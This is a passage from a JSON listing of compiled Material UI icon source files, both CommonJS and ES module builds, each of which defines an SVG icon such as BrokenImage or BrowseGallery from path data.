    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 8c.7 0 1.38.1 2.02.27L12 3 4 9v12h6.76C9.66 19.63 9 17.89 9 16c0-4.42 3.58-8 8-8m0 6.75c-.69 0-1.25.56-1.25 1.25 0 .4.2.75.5.97V22h1.5v-5.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.21 0-4 1.79-4 4 0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5c0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"2\")], 'BroadcastOnPersonalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnPersonalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 8c.7 0 1.38.1 2.02.27L12 3 4 9v12h6.76C9.66 19.63 9 17.89 9 16c0-4.42 3.58-8 8-8m0 6.75c-.69 0-1.25.56-1.25 1.25 0 .4.2.75.5.97V22h1.5v-5.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.21 0-4 1.79-4 4 0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5c0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"2\")], 'BroadcastOnPersonalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnPersonalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 10v9h5.59c-.38-.93-.59-1.94-.59-3 0-3.39 2.11-6.27 5.08-7.44L10 5.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19v-9l6-4.5 4.08 3.06c.81-.32 1.69-.51 2.61-.54L10 3 2 9v12h8.76c-.48-.6-.88-1.27-1.17-2zm13-4.25c-.69 0-1.25.56-1.25 1.25 0 .4.2.75.5.97V22h1.5v-5.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.21 0-4 1.79-4 4 0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5c0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"3\")], 'BroadcastOnPersonalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnPersonalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 10v9h5.59c-.38-.93-.59-1.94-.59-3 0-3.39 2.11-6.27 5.08-7.44L10 5.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19v-9l6-4.5 4.08 3.06c.81-.32 1.69-.51 2.61-.54L10 3 2 9v12h8.76c-.48-.6-.88-1.27-1.17-2zm13-4.25c-.69 0-1.25.56-1.25 1.25 0 .4.2.75.5.97V22h1.5v-5.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.21 0-4 1.79-4 4 0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5c0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"3\")], 'BroadcastOnPersonalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrokenImage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5v6.59l-3-3.01-4 4.01-4-4-4 4-3-3.01V5c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2m-3 6.42 3 3.01V19c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2v-6.58l3 2.99 4-4 4 4z\"\n}), 'BrokenImage');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrokenImage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5v6.59l-3-3.01-4 4.01-4-4-4 4-3-3.01V5c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2m-3 6.42 3 3.01V19c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2v-6.58l3 2.99 4-4 4 4z\"\n}), 'BrokenImage');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrokenImageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-4.58l.99.99 4-4 4 4 4-3.99L19 12.43zm0-9.41-1.01-1.01-4 4.01-4-4-4 4-.99-1V5h14z\"\n}), 'BrokenImageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrokenImageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-4.58l.99.99 4-4 4 4 4-3.99L19 12.43zm0-9.41-1.01-1.01-4 4.01-4-4-4 4-.99-1V5h14z\"\n}), 'BrokenImageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrokenImageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5v6.59l-2.29-2.3c-.39-.39-1.03-.39-1.42 0L14 12.59 10.71 9.3a.996.996 0 0 0-1.41 0L6 12.59 3 9.58V5c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2m-3 6.42 3 3.01V19c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2v-6.58l2.29 2.29c.39.39 1.02.39 1.41 0l3.3-3.3 3.29 3.29c.39.39 1.02.39 1.41 0z\"\n}), 'BrokenImageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrokenImageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5v6.59l-2.29-2.3c-.39-.39-1.03-.39-1.42 0L14 12.59 10.71 9.3a.996.996 0 0 0-1.41 0L6 12.59 3 9.58V5c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2m-3 6.42 3 3.01V19c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2v-6.58l2.29 2.29c.39.39 1.02.39 1.41 0l3.3-3.3 3.29 3.29c.39.39 1.02.39 1.41 0z\"\n}), 'BrokenImageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrokenImageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3v8.59l-3-3.01-4 4.01-4-4-4 4-3-3.01V3zm-3 8.42 3 3.01V21H3v-8.58l3 2.99 4-4 4 4z\"\n}), 'BrokenImageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrokenImageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3v8.59l-3-3.01-4 4.01-4-4-4 4-3-3.01V3zm-3 8.42 3 3.01V21H3v-8.58l3 2.99 4-4 4 4z\"\n}), 'BrokenImageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrokenImageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.99 15.41-4-4-4 4-.99-.99V19h14v-6.57l-1.01-1.01zM5 11.59l.99 1 4-4 4 4 4-4.01L19 9.59V5H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-4.58l.99.99 4-4 4 4 4-3.99L19 12.43zm0-9.41-1.01-1.01-4 4.01-4-4-4 4-.99-1V5h14z\"\n}, \"1\")], 'BrokenImageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrokenImageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.99 15.41-4-4-4 4-.99-.99V19h14v-6.57l-1.01-1.01zM5 11.59l.99 1 4-4 4 4 4-4.01L19 9.59V5H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5v-4.58l.99.99 4-4 4 4 4-3.99L19 12.43zm0-9.41-1.01-1.01-4 4.01-4-4-4 4-.99-1V5h14z\"\n}, \"1\")], 'BrokenImageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowseGallery.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m2.79 13.21L8 12.41V7h2v4.59l3.21 3.21z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.99 3.52v2.16C20.36 6.8 22 9.21 22 12s-1.64 5.2-4.01 6.32v2.16C21.48 19.24 24 15.91 24 12s-2.52-7.24-6.01-8.48\"\n}, \"1\")], 'BrowseGallery');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowseGallery.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m2.79 13.21L8 12.41V7h2v4.59l3.21 3.21z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.99 3.52v2.16C20.36 6.8 22 9.21 22 12s-1.64 5.2-4.01 6.32v2.16C21.48 19.24 24 15.91 24 12s-2.52-7.24-6.01-8.48\"\n}, \"1\")], 'BrowseGallery');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowseGalleryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 7H8v5.41l3.79 3.8 1.42-1.42-3.21-3.2zm7.99-3.48v2.16C20.36 6.8 22 9.21 22 12s-1.64 5.2-4.01 6.32v2.16C21.48 19.24 24 15.91 24 12s-2.52-7.24-6.01-8.48\"\n}, \"1\")], 'BrowseGalleryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowseGalleryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 7H8v5.41l3.79 3.8 1.42-1.42-3.21-3.2zm7.99-3.48v2.16C20.36 6.8 22 9.21 22 12s-1.64 5.2-4.01 6.32v2.16C21.48 19.24 24 15.91 24 12s-2.52-7.24-6.01-8.48\"\n}, \"1\")], 'BrowseGalleryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowseGalleryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m2.09 12.5L8.59 13c-.38-.38-.59-.88-.59-1.41V8c0-.55.45-1 1-1s1 .45 1 1v3.59l2.5 2.5c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.99 5.08c0 .37.21.69.53.88C20.6 7.17 22 9.42 22 12s-1.4 4.83-3.48 6.04c-.32.19-.53.51-.53.88 0 .77.84 1.25 1.51.86C22.18 18.22 24 15.32 24 12s-1.82-6.22-4.5-7.78c-.67-.39-1.51.09-1.51.86\"\n}, \"1\")], 'BrowseGalleryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowseGalleryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m2.09 12.5L8.59 13c-.38-.38-.59-.88-.59-1.41V8c0-.55.45-1 1-1s1 .45 1 1v3.59l2.5 2.5c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.99 5.08c0 .37.21.69.53.88C20.6 7.17 22 9.42 22 12s-1.4 4.83-3.48 6.04c-.32.19-.53.51-.53.88 0 .77.84 1.25 1.51.86C22.18 18.22 24 15.32 24 12s-1.82-6.22-4.5-7.78c-.67-.39-1.51.09-1.51.86\"\n}, \"1\")], 'BrowseGalleryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowseGallerySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m2.79 13.21L8 12.41V7h2v4.59l3.21 3.21z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.99 3.52v2.16C20.36 6.8 22 9.21 22 12s-1.64 5.2-4.01 6.32v2.16C21.48 19.24 24 15.91 24 12s-2.52-7.24-6.01-8.48\"\n}, \"1\")], 'BrowseGallerySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowseGallerySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m2.79 13.21L8 12.41V7h2v4.59l3.21 3.21z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.99 3.52v2.16C20.36 6.8 22 9.21 22 12s-1.64 5.2-4.01 6.32v2.16C21.48 19.24 24 15.91 24 12s-2.52-7.24-6.01-8.48\"\n}, \"1\")], 'BrowseGallerySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowseGalleryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 5c-3.86 0-7 3.14-7 7s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7m2.79 11.21L8 12.41V7h2v4.59l3.21 3.21z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 7H8v5.41l3.79 3.8 1.42-1.42-3.21-3.2zm7.99-3.48v2.16C20.36 6.8 22 9.21 22 12s-1.64 5.2-4.01 6.32v2.16C21.48 19.24 24 15.91 24 12s-2.52-7.24-6.01-8.48\"\n}, \"2\")], 'BrowseGalleryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowseGalleryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 5c-3.86 0-7 3.14-7 7s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7m2.79 11.21L8 12.41V7h2v4.59l3.21 3.21z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 7H8v5.41l3.79 3.8 1.42-1.42-3.21-3.2zm7.99-3.48v2.16C20.36 6.8 22 9.21 22 12s-1.64 5.2-4.01 6.32v2.16C21.48 19.24 24 15.91 24 12s-2.52-7.24-6.01-8.48\"\n}, \"2\")], 'BrowseGalleryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserNotSupported.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6v10.5l1.95 1.95c.03-.15.05-.3.05-.45V6c0-1.1-.9-2-2-2H6.5l2 2zM3.22 3.32 1.95 4.59 3 5.64V18c0 1.1.9 2 2 2h12.36l2.06 2.06 1.27-1.27zM15 18H5V7.64L15.36 18z\"\n}), 'BrowserNotSupported');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserNotSupported.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6v10.5l1.95 1.95c.03-.15.05-.3.05-.45V6c0-1.1-.9-2-2-2H6.5l2 2zM3.22 3.32 1.95 4.59 3 5.64V18c0 1.1.9 2 2 2h12.36l2.06 2.06 1.27-1.27zM15 18H5V7.64L15.36 18z\"\n}), 'BrowserNotSupported');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserNotSupportedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6v10.5l1.95 1.95c.03-.15.05-.3.05-.45V6c0-1.1-.9-2-2-2H6.5l2 2zM3.22 3.32 1.95 4.59 3 5.64V18c0 1.1.9 2 2 2h12.36l2.06 2.06 1.27-1.27zM15 18H5V7.64L15.36 18z\"\n}), 'BrowserNotSupportedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserNotSupportedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6v10.5l1.95 1.95c.03-.15.05-.3.05-.45V6c0-1.1-.9-2-2-2H6.5l2 2zM3.22 3.32 1.95 4.59 3 5.64V18c0 1.1.9 2 2 2h12.36l2.06 2.06 1.27-1.27zM15 18H5V7.64L15.36 18z\"\n}), 'BrowserNotSupportedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrowserNotSupportedRounded.js",
